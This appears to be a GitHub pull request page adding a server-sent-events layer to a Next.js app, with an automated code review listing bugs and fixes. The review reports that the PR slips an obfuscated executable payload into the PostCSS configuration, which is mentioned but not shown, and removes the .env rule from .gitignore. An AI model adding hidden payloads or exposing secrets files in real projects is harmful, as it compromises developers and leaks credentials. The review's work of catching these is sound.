feat: add SSE service layer - #85
Conversation
84baefd to
b094457
Compare
📝 WalkthroughWalkthroughThe pull request adds an SSE system with connection tracking, heartbeat cleanup, broadcast and targeted delivery, tRPC integration, client reconnection, React components, and a demo page. It also updates documentation and repository files and adds an obfuscated executable payload to the PostCSS configuration. ChangesSSE system
PostCSS configuration payload
Repository maintenance
Estimated code review effort: 5 (Critical) | ~90+ minutes Sequence Diagram(s)sequenceDiagram
participant Browser
participant SSEStream
participant SSEState
participant SendRoute
participant ConnectedClients
Browser->>SSEStream: Open EventSource connection
SSEStream->>SSEState: Register client
SSEState->>Browser: Send connected event and heartbeats
Browser->>SendRoute: POST broadcast or targeted event
SendRoute->>SSEState: Dispatch validated event
SSEState->>ConnectedClients: Send SSE event
ConnectedClients-->>Browser: Receive custom message
Possibly related PRs
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment Warning |
There was a problem hiding this comment.
Actionable comments posted: 6
Note
Due to the large number of review comments, Critical severity comments were prioritized as inline comments.
🟠 Major comments (22)
.gitignore-34-36 (1)
34-36: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winRestore the
.envignore rule.Line 36 no longer ignores
.env, sogit add .can stage environment secrets. This contradicts the policy comment on Line 35. Restore the removed rule.Proposed fix
# local env files # do not commit any .env files to git, except for the .env.example file. +.env .env*.local🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.gitignore around lines 34 - 36, Restore the .env ignore entry in the local environment files section of .gitignore, alongside .env*.local, so plain .env files remain excluded as required by the policy comment.src/app/api/sse/route.ts-26-46 (1)
26-46: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick winClear the interval and handle rejected heartbeat sends.
cancel()removes the client but leavesheartbeatrunning. The interval then continues to send to an unknown client.
sendToClientis asynchronous. The currenttry/catchdoes not catch a rejected promise. Attach a rejection handler that clears the interval, removes the client, and closes the controller.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/api/sse/route.ts` around lines 26 - 46, Update the SSE stream heartbeat setup to clear the interval when the stream’s cancel() callback runs, and handle asynchronous sendToClient failures by attaching a rejection handler that clears the heartbeat, removes the client, and closes the controller. Preserve the existing synchronous error cleanup and abort behavior while applying the same cleanup for rejected heartbeat sends.src/features/sse/SSEManager.ts-9-14 (1)
9-14: 🗄️ Data Integrity & Integration | 🟠 Major | 🏗️ Heavy liftRoute all SSE sends through
sseState.The stream route registers clients only in
sseState. The POST send route usessseManager, which has no client registrations. The route therefore returns success without delivering events.If the application runs multiple instances, use shared pub/sub with connection routing because both registries are process-local.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/SSEManager.ts` around lines 9 - 14, Route all SSE sends through the `sseState` registry used by the stream route, replacing the separate client registry and send path in `SSEManager` and `src/app/api/sse/route.ts` (lines 3-16). Ensure POST sends reach clients registered by the stream route; for multi-instance deployments, add shared pub/sub with connection routing rather than relying on process-local state.src/app/api/sse/route.ts-9-16 (1)
9-16: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winVerify authorization before client registration.
The API middleware pipeline excludes
authMiddleware, so/api/sseand/api/sse/sendaccept unauthenticated requests. Validate the session in both routes and bind the authenticated user to the client record before allowingtargetClientIddelivery.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/api/sse/route.ts` around lines 9 - 16, Update both SSE route handlers, GET and the send route, to validate the authenticated session before performing any client registration or delivery. In GET, require authentication and bind the authenticated user identity to the sseState.addClient client record; in the send handler, reject unauthenticated requests and authorize targetClientId delivery against the authenticated user before sending.src/features/sse/types.ts-21-28 (1)
21-28: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winMake SSE delivery methods asynchronous and await them.
Change the four
SSEManagerInterfacedelivery methods to returnPromise<void>. Addawaitinsrc/app/api/sse/send/route.ts; otherwise the handler returns success before delivery completes, andsendToClientrejections bypass thetryblock.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/types.ts` around lines 21 - 28, Update the four delivery methods in SSEManagerInterface—addClient, removeClient, sendEvent, and broadcast/sendToClient/sendToClients as applicable—to return Promise<void>, and update their implementations in SSEManager.ts to match. In src/app/api/sse/send/route.ts, await the delivery call inside the existing try block so completion and rejections are handled before returning.src/features/sse/server/state.ts-49-81 (1)
49-81: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winTwo heartbeats now run for the same client.
startHeartbeatsends apingevery 15s.src/app/api/sse/route.ts(lines 27-34 of the provided snippet) also creates its ownsetIntervalthat callssseState.sendToClient(clientId, "ping", ...)every 5s. Each client receives duplicate heartbeat events, andsrc/features/sse/hooks/useSSE.tsrecords every one of them.Keep one owner of the heartbeat. Because
SSEStatealready manages the interval and the failure counter, remove the interval from the route handler.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/state.ts` around lines 49 - 81, Remove the route handler’s separate heartbeat setInterval that calls sseState.sendToClient, leaving startHeartbeat in SSEState as the sole heartbeat owner and preserving its failure tracking and cleanup behavior.src/features/sse/server/state.ts-21-27 (1)
21-27: 🩺 Stability & Availability | 🟠 Major | 🏗️ Heavy liftThe singleton starts a timer at module import.
new SSEState()runs when the module is first imported. The 30scleanupIntervalthen keeps a timer handle open in every process that imports this module, including build-time prerendering and each dev-server hot reload. TheclientsMap is also per-process, so broadcast andgetActiveClientsonly cover clients attached to the same instance. On multi-instance or serverless deployments, targeted delivery fails for most clients.Create the interval lazily on the first
addClientcall, and clear it when the last client leaves. For multi-instance deployments, route events through a shared transport such as Redis Pub/Sub.Also applies to: 211-211
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/state.ts` around lines 21 - 27, Update the SSEState lifecycle around the constructor, addClient, and removeClient methods so the cleanup interval is not created during module-level singleton initialization; start it on the first addClient call and clear it when the last client is removed. Preserve stale-connection cleanup for active clients, and route broadcasts through the project’s shared transport mechanism, such as Redis Pub/Sub, so events reach clients across process or server instances.src/features/sse/hooks/useSSE.ts-47-49 (1)
47-49: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick winGuard
JSON.parseon incoming event data.
e.datais a server-controlled string. A malformed payload makesJSON.parsethrow inside the listener. The throw escapes the listener, sosetClientIdandsetLastHeartbeatnever run and the hook keeps reporting a stale connection state.Wrap each parse in
try/catchand log the failure throughlogger.Also applies to: 60-61, 90-91
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/hooks/useSSE.ts` around lines 47 - 49, Update the connected and other event listeners in useSSE, including the handlers around the additional JSON.parse calls, to wrap parsing of server-controlled e.data in try/catch. Log parse failures through logger and keep setClientId, setLastHeartbeat, and related state updates protected from malformed payloads.src/features/sse/server/state.ts-106-136 (1)
106-136: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
removeClientandbroadcastcall each other recursively.
removeClientends withbroadcastClientCount().broadcastcallsremoveClientfor every client whoseenqueuethrows. Each removal starts a new full broadcast. Withnfailing clients this producesO(n^2)enqueue attempts and nested recursion during a single cleanup pass.Collect the failed client IDs first, remove them after the loop, and suppress the count broadcast during removal.
🐛 Proposed fix
- removeClient(clientId: string) { + removeClient(clientId: string, announce = true) { const client = this.clients.get(clientId); if (client) { @@ this.clients.delete(clientId); logger.info("Client disconnected", { clientId, failedHeartbeats: client.failedHeartbeats, lastPing: new Date(client.lastPing).toISOString(), }); - this.broadcastClientCount(); + if (announce) this.broadcastClientCount(); } }- async broadcast(type: string, data: any) { + broadcast(type: string, data: unknown) { const errors: Error[] = []; + const failed: string[] = []; const eventString = `event: ${type}\ndata: ${JSON.stringify(data)}\n\n`; const encodedEvent = this.encoder.encode(eventString); for (const [clientId, client] of this.clients.entries()) { try { client.controller.enqueue(encodedEvent); client.lastPing = Date.now(); } catch (error) { errors.push(error as Error); - this.removeClient(clientId); + failed.push(clientId); } } + for (const clientId of failed) { + this.removeClient(clientId, false); + } + if (errors.length > 0) {Also applies to: 156-176
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/state.ts` around lines 106 - 136, Update the broadcast logic and removeClient flow so a broadcast first collects client IDs whose enqueue operations fail, then removes those clients after iteration completes; ensure those removals suppress their individual broadcastClientCount calls, while direct removals continue broadcasting the updated count.src/middleware.ts-14-17 (1)
14-17: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winThe hardcoded bypass removes
appPipelineprotections from/sse-demo.
NextResponse.next()returns beforeappPipelineruns, so the demo page loses every guarantee that pipeline provides, including authentication and security headers. A route-specific exception inside the handler is also easy to forget when the demo is no longer needed.The match is exact, so
/sse-demo/and/sse-demo/anythingstill run the full pipeline. The same page then behaves differently depending on the trailing slash.Prefer excluding the route in
config.matcher, or gate the whole demo behind an environment flag so it does not ship to production.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/middleware.ts` around lines 14 - 17, Remove the hardcoded `/sse-demo` early return from the middleware handler so every matching request continues through `appPipeline`; if the demo must remain available, exclude it through `config.matcher` or gate it behind an environment flag consistently for all path variants.src/app/api/sse/send/route.ts-17-23 (1)
17-23: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winThe send route discards the caller's event
type. The handler validatestypeand logs it, then always emits the literal event name"custom_message". Every subscriber that listens for a specific event name receives nothing.
src/app/api/sse/send/route.ts#L17-L23: passtypeinstead of the literal"custom_message"to bothsendToClientandbroadcast.src/features/sse/components/SSEDashboard.tsx#L38-L38: theeventTypesvalues"notification","message","system-update", and"custom"never arrive while the route rewrites the event name. Confirm these names after the route forwardstype.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/api/sse/send/route.ts` around lines 17 - 23, The send route currently replaces the caller-provided event type with "custom_message"; update both sseManager.sendToClient and sseManager.broadcast in src/app/api/sse/send/route.ts lines 17-23 to pass type instead. In src/features/sse/components/SSEDashboard.tsx line 38, confirm the eventTypes values notification, message, system-update, and custom receive events after this forwarding fix; no direct change is needed there unless confirmation reveals a mismatch.src/features/sse/server/state.ts-29-37 (1)
29-37: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winThe stale-connection timeout can never fire.
sendToClientsetsclient.lastPing = Date.now()on every successful enqueue (line 147). The server sends its ownpingeveryHEARTBEAT_INTERVAL(15s). Thereforenow - client.lastPingstays under 15s and never exceedsCLIENT_TIMEOUT(45s).cleanupStaleConnectionsis dead code.
lastPingmixes two concepts: last successful write and last observed client liveness. Track them separately. BecauseEventSourceis unidirectional, liveness must come from stream errors,req.signalabort, or a separate client-side acknowledgement channel.🐛 Proposed fix: separate write time from liveness time
interface SSEClient { id: string; controller: ReadableStreamDefaultController; - lastPing: number; + lastPing: number; // last successful write + lastSeen: number; // last observed client liveness heartbeatInterval?: NodeJS.Timeout; failedHeartbeats: number; isActive: boolean; }private cleanupStaleConnections() { const now = Date.now(); for (const [clientId, client] of this.clients.entries()) { - if (now - client.lastPing > CLIENT_TIMEOUT) { + if (now - client.lastSeen > CLIENT_TIMEOUT) { logger.warn("Client timed out", { clientId }); this.removeClient(clientId); } } }Also applies to: 147-147
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/state.ts` around lines 29 - 37, Separate the client timestamp used by sendToClient from the liveness timestamp checked by cleanupStaleConnections: retain a write-time field for successful enqueues and update the liveness field only from actual client-side signals such as stream errors, req.signal aborts, or acknowledgement handling. Update cleanupStaleConnections and all connection-removal/error paths to use the liveness field, ensuring heartbeat writes alone cannot keep stale clients alive.src/app/sse-demo/page.tsx-62-64 (1)
62-64: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winTime values rendered on the first pass cause a hydration mismatch.
Next.js prerenders client components on the server.
new Date().toLocaleTimeString()on line 63 andDate.now()on line 415 return different values, and possibly a different locale format, in the server pass and the client pass. React reports a hydration mismatch and can discard the server-rendered markup for this subtree. The "System Time" value also never updates after mount.Compute time values after mount, and render a stable placeholder for the first paint.
🐛 Proposed fix for the header clock
+ const [now, setNow] = useState<number | null>(null); + useEffect(() => { + setNow(Date.now()); + const id = setInterval(() => setNow(Date.now()), 1000); + return () => clearInterval(id); + }, []); ... <div className="text-sm font-medium tabular-nums"> - {new Date().toLocaleTimeString()} + {now === null ? "--:--:--" : new Date(now).toLocaleTimeString()} </div>Also applies to: 410-416
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/sse-demo/page.tsx` around lines 62 - 64, Update the clock rendering in the component containing the header time and “System Time” value to use state initialized with a stable placeholder, then populate both time values in a client-side effect after mount. Replace render-time new Date() and Date.now() calls, preserve the existing formatting, and ensure the system time continues updating as intended after initialization.src/features/sse/server/router.ts-13-47 (1)
13-47: 📐 Maintainability & Code Quality | 🟠 Major | 🏗️ Heavy liftTwo transports implement the same send operation.
sendEventhere andPOST /api/sse/sendinsrc/app/api/sse/send/route.tsduplicate the send-or-broadcast logic with different schemas, different error mapping, and different state accessors (sseStateversussseManager).src/features/sse/hooks/useSSE.tsuses the tRPC path whilesrc/features/sse/components/SSEDashboard.tsxuses the REST path.Pick one transport for the demo and delete the other, or extract one shared handler that both entry points call.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/router.ts` around lines 13 - 47, Unify the duplicated SSE send operation used by sseRouter.sendEvent and the REST POST /api/sse/send endpoint by choosing one transport for the demo or extracting a shared handler. Ensure both callers no longer maintain separate schemas, error mapping, or state access, and update useSSE and SSEDashboard to use the retained/shared path consistently.src/features/sse/components/EventSender.tsx-51-100 (1)
51-100: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick winAssociate each
<label>with its control.None of the four labels has an
htmlForattribute, and none of the controls has anid. Screen readers therefore report no accessible name for the event-type select, the custom-type input, the message textarea, and the target-client input. Users of assistive technology cannot determine what each field expects.Add matching
idandhtmlForpairs.♿ Proposed fix (apply the same pattern to the remaining three fields)
<div> - <label className="mb-1 block text-sm font-medium">Event Type</label> + <label htmlFor="sse-event-type" className="mb-1 block text-sm font-medium"> + Event Type + </label> <select + id="sse-event-type" value={eventType} onChange={(e) => setEventType(e.target.value as EventType)} className="w-full rounded border bg-white px-3 py-2" >🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/components/EventSender.tsx` around lines 51 - 100, Associate every label in EventSender’s form with its control by adding matching htmlFor and id attributes for the event type select, custom event type input, message textarea, and target client ID input. Use unique, stable identifiers for each field while preserving the existing state bindings and behavior.src/app/sse-demo/page.tsx-355-363 (1)
355-363: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
key={idx}breaks reconciliation for a prepended list.
src/features/sse/hooks/useSSE.tsinserts each new message at the front ofmessages. Every existing item therefore receives a new index. React reuses the DOM node of the previous item at that index instead of moving it, so per-item state and the entry animation attach to the wrong element.ref={idx === 0 ? messageRef : null}then replays the animation on whichever node lands at index 0.Key each item by a stable identifier.
🐛 Proposed fix
- ref={idx === 0 ? messageRef : null} - key={idx} + ref={idx === 0 ? messageRef : null} + key={`${msg.timestamp}-${msg.type}-${idx}`}A message id generated in the hook would be a better key than a timestamp composite.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/sse-demo/page.tsx` around lines 355 - 363, Update the messages.map rendering in the SSE demo to use a stable per-message identifier instead of key={idx}; add or reuse an id generated by useSSE for each message and use it as the React key, while retaining the index only for the first-item ref behavior.src/features/sse/server/router.ts-41-46 (1)
41-46: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
getActiveClientsleaks every session identifier to anonymous callers.
publicProcedureapplies no authentication. The query returnssseState.getClientIds(), which is the full list of live client IDs.sendEventaccepts any of those IDs astargetClientId. Any anonymous caller can therefore enumerate active sessions and push a crafted payload into a chosen user's stream.Restrict the procedure to an authenticated administrative caller. If the client only needs the number, return
countalone.🛡️ Minimal change: stop exposing the identifiers
getActiveClients: publicProcedure.query(() => { return { count: sseState.getClientCount(), - clients: sseState.getClientIds(), }; }),Note:
src/features/sse/hooks/useSSE.tsline 204 only readsclientsData?.count, so removingclientsdoes not break the current consumer.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/router.ts` around lines 41 - 46, Update getActiveClients to stop returning sseState.getClientIds() to unauthenticated callers; either protect the procedure with the existing authenticated administrative authorization or, since useSSE only consumes the count, return only sseState.getClientCount().src/features/sse/hooks/useSSE.ts-146-151 (1)
146-151: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick winClear the pending reconnect timer on unmount.
The cleanup closes
newEventSourceonly. AsetTimeoutscheduled on line 126 still fires after unmount and opens a newEventSourcethat no consumer owns. That connection stays registered on the server until its own error path runs.Store the timer id in a ref and clear it in the cleanup function.
🐛 Proposed fix
return () => { + if (reconnectTimerRef.current) { + clearTimeout(reconnectTimerRef.current); + reconnectTimerRef.current = null; + } newEventSource.close(); setEventSource(null); setIsConnected(false); };🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/hooks/useSSE.ts` around lines 146 - 151, Update the reconnect logic in useSSE to store the setTimeout id in a ref, then clear that pending timer during the effect cleanup before closing newEventSource and resetting state. Ensure unmount prevents the delayed reconnect from creating an unmanaged EventSource.src/features/sse/hooks/useSSE.ts-68-79 (1)
68-79: 🚀 Performance & Scalability | 🟠 Major | ⚡ Quick win
messagesgrows without bound.Every
pingappends an entry. The server sends a heartbeat every 15 seconds fromstartHeartbeatinsrc/features/sse/server/state.ts, plus another every 5 seconds from the interval insrc/app/api/sse/route.ts.src/app/sse-demo/page.tsxrenders the whole array and recomputesmessages.filter(...)on each render. A long-lived tab accumulates thousands of nodes.Cap the retained history.
♻️ Proposed fix
+const MAX_MESSAGES = 200; ... - setMessages((prev) => [ + setMessages((prev) => [ { type: "ping", ... }, ...prev, - ]); + ].slice(0, MAX_MESSAGES));🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/hooks/useSSE.ts` around lines 68 - 79, Cap the message history in the setMessages updater that prepends each ping, retaining only the newest bounded number of entries after adding the new message. Preserve the existing ping payload and ordering while preventing the messages array from growing without bound.src/features/shared/logger/index.ts-8-28 (1)
8-28: 📐 Maintainability & Code Quality | 🟠 Major | ⚡ Quick win
JSON.stringifydiscardsErrordetails and throws on circular input.
Errorinstances serialize to{}becausemessageandstackare not enumerable. Callers pass{ error }, for examplelogger.error("Error sending to client", { error, clientId })insrc/features/sse/server/state.tsline 150. Every such log line loses the failure reason. A circular value also makeslogthrow inside the logger.Normalize
Errorvalues and guard the serialization.🐛 Proposed fix
class Logger { + private replacer() { + const seen = new WeakSet<object>(); + return (_key: string, value: unknown) => { + if (value instanceof Error) { + return { name: value.name, message: value.message, stack: value.stack }; + } + if (typeof value === "object" && value !== null) { + if (seen.has(value)) return "[Circular]"; + seen.add(value); + } + return value; + }; + } + private log(level: LogLevel, message: string, params?: LogParams) { const timestamp = new Date().toISOString(); const logData = { timestamp, level, message, ...params, }; - switch (level) { + let line: string; + try { + line = JSON.stringify(logData, this.replacer()); + } catch { + line = JSON.stringify({ timestamp, level, message, serializationError: true }); + } + + switch (level) { case "info": - console.log(JSON.stringify(logData)); + console.log(line); break; case "warn": - console.warn(JSON.stringify(logData)); + console.warn(line); break; case "error": - console.error(JSON.stringify(logData)); + console.error(line); break; } }🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/shared/logger/index.ts` around lines 8 - 28, Update the private log method to normalize Error values, including their message and stack, before serializing logData so callers such as logger.error retain failure details. Guard JSON serialization so circular or otherwise unserializable params cannot cause log itself to throw, while preserving the existing level-specific console output.src/features/sse/server/router.ts-7-11 (1)
7-11: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winUse
z.unknown()fordataand align the two schemas.
z.any()accepts anything and also makes the field optional in the inferred type, sodatacan beundefinedand reachJSON.stringify.SendEventSchemainsrc/app/api/sse/send/route.tsline 8 already usesz.unknown(). Two schemas for one payload will drift.Move the schema into a shared module and import it in both places.
♻️ Proposed fix
const EventSchema = z.object({ type: z.string(), - data: z.any(), + data: z.unknown(), targetClientId: z.string().optional(), });🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/router.ts` around lines 7 - 11, Replace EventSchema’s data validator with z.unknown() so data remains required, then move the shared event schema into a common module and update both the SSE server router and SendEventSchema consumers to import it, keeping both payload validation paths aligned.src/app/api/sse/send/route.ts-1-4 (1)
1-4: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick winUse
sseStateinsrc/app/api/sse/send/route.ts.sseManagerandsseStateuse separate client maps. Connected clients register only withsseState, so this endpoint cannot send targeted or broadcast events.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/api/sse/send/route.ts` around lines 1 - 4, Replace the sseManager import and usage in the SSE send route with sseState, ensuring targeted and broadcast event handling reads from the same client map used during client registration. Preserve the endpoint’s existing request validation and event-sending behavior.
🟡 Minor comments (9)
README.md-12-12 (1)
12-12: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winReplace the empty Mux URL.
Line 12 uses an empty Markdown link. Replace it with the Mux documentation URL already used on Line 70.
Proposed fix
-- [Mux]() - Video handling (upload / storage / etc.) +- [Mux](https://www.mux.com/docs) - Video handling (upload / storage / etc.)🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@README.md` at line 12, Update the Mux Markdown link in the README list to use the same Mux documentation URL already referenced near line 70, replacing only the empty URL while preserving the existing link text and description.Source: Linters/SAST tools
src/app/api/sse/route.ts-26-35 (1)
26-35: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winUse one heartbeat policy.
The route starts a 5-second heartbeat. The state manager uses shared heartbeat constants. The documentation states different values. This creates duplicate events and makes timeout behavior unclear.
src/app/api/sse/route.ts#L26-L35: remove the route-local heartbeat, or source its behavior from the state manager.src/features/sse/types.ts#L31-L32: keep these constants as the canonical heartbeat and timeout values.SSE.md#L21-L22: document the actual canonical values.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/api/sse/route.ts` around lines 26 - 35, Use a single heartbeat policy: remove the route-local interval in the SSE route around the heartbeat setup, keep the canonical heartbeat and timeout constants in src/features/sse/types.ts lines 31-32, and update SSE.md lines 21-22 to document those actual values.src/features/sse/types.ts-5-10 (1)
5-10: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winReplace explicit
anywithunknown.Both locations fail
@typescript-eslint/no-explicit-any. The event schema already usesunknown, so these contracts should preserve that type.
src/features/sse/types.ts#L5-L10: changeSSEClient.senddata fromanytounknown.src/features/sse/components/EventLog.tsx#L3-L7: changeEventMessage.datafromanytounknown.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/types.ts` around lines 5 - 10, Replace the explicit any types with unknown in SSEClient.send within src/features/sse/types.ts lines 5-10 and EventMessage.data within src/features/sse/components/EventLog.tsx lines 3-7, preserving the existing event data contract.Source: Linters/SAST tools
src/app/api/sse/send/route.ts-28-34 (1)
28-34: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick winReturn 400 only for validation failures.
The
catchblock maps every failure to 400, including a missing target client and internal enqueue errors. Clients cannot distinguish a bad request from a server fault, and retry logic cannot act correctly.Branch on the error type: 400 for
ZodError, 404 for an unknowntargetClientId, and 500 otherwise.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/api/sse/send/route.ts` around lines 28 - 34, Update the catch block in the SSE event handler to return status 400 only for ZodError validation failures, 404 when the error represents an unknown targetClientId, and 500 for all other failures such as enqueue errors. Preserve the existing error logging and response structure while branching on the error type.src/app/sse-demo/page.tsx-174-182 (1)
174-182: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winHandle
navigator.clipboardfailures.
navigator.clipboardisundefinedoutside a secure context, which makes the handler throw.writeTextalso returns a promise that rejects when the user denies permission, and that rejection is unhandled here. The user receives no feedback in either case.Check for availability,
awaitthe call, and show the outcome.Also applies to: 461-478
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/sse-demo/page.tsx` around lines 174 - 182, Update the clipboard button handlers around clientId copying to verify navigator.clipboard and writeText are available before calling them, await the promise, and handle rejected writes without unhandled errors. Provide user feedback for both successful copies and unavailable or denied clipboard access, including the corresponding handler near the second referenced block.src/features/sse/components/EventSender.tsx-40-44 (1)
40-44: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick winShow the send failure to the user.
The
catchblock writes to the console only. The button re-enables and the message text stays in the textarea, so the user cannot tell whether the event was delivered.Store the error in state and render it near the buttons.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/components/EventSender.tsx` around lines 40 - 44, Update the send handler’s catch block in EventSender to store the failure in component state instead of only logging it, then render that error message near the send controls while preserving the existing textarea contents and button re-enable behavior.src/features/sse/components/SSEDashboard.tsx-27-37 (1)
27-37: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winGuard
JSON.parseinonEvent.
event.datais a server-controlled string. A non-JSON payload makesJSON.parsethrow inside the callback, sosetMessagesnever runs and the log silently stops updating.🐛 Proposed fix
onEvent: (event) => { - const data = JSON.parse(event.data); + let data: unknown; + try { + data = JSON.parse(event.data); + } catch { + data = event.data; + } setMessages((prev) => [🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/components/SSEDashboard.tsx` around lines 27 - 37, Update the onEvent callback to guard JSON.parse(event.data) with error handling so malformed server payloads do not terminate event processing. Only prepend a message through setMessages when parsing succeeds, while preserving the existing message shape and ordering.src/features/sse/server/state.ts-195-207 (1)
195-207: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick winRegister
sseState.cleanup()in a server shutdown hook.sseStatestarts a 30-second interval, but no caller or shutdown hook exists. The interval remains active, and active SSE controllers are not closed during graceful shutdown.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/server/state.ts` around lines 195 - 207, Register the existing sseState.cleanup() method in the server’s graceful shutdown hook, ensuring it runs when the server stops so the cleanup interval is cleared and all active SSE clients/controllers are removed. Locate the server initialization or shutdown lifecycle code and invoke cleanup for the same sseState instance.src/app/sse-demo/page.tsx-423-423 (1)
423-423: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick winReplace
bg-opacity-50withbg-white/50. Tailwind CSS 4 does not generatebg-opacity-50, sobg-whiteremains fully opaque.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/app/sse-demo/page.tsx` at line 423, Update the <pre> element’s Tailwind classes to replace bg-opacity-50 with the Tailwind CSS 4-compatible bg-white/50 utility, preserving the existing styling and opacity.
🧹 Nitpick comments (6)
src/features/sse/components/EventSender.tsx (2)
16-16: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low valueReplace
anywithunknownin the callback type.ESLint reports
@typescript-eslint/no-explicit-any. Thedataargument is only serialized downstream, sounknownworks.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@src/features/sse/components/EventSender.tsx` at line 16, Update the onSendEvent callback type to use unknown instead of any for the data parameter, preserving the existing callback signature and serialization behavior.Source: Linters/SAST tools
6-13: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winDerive the
<option>list fromEventTypeSchema.
EventTypeSchemais used only forz.infer. The four options on lines 58-61 repeat the same values by hand, so the two lists can drift. The cast on line 55 also bypasses the schema.Map over
EventTypeSchema.optionsand validate the selection withsafeParse.♻️ Proposed fix
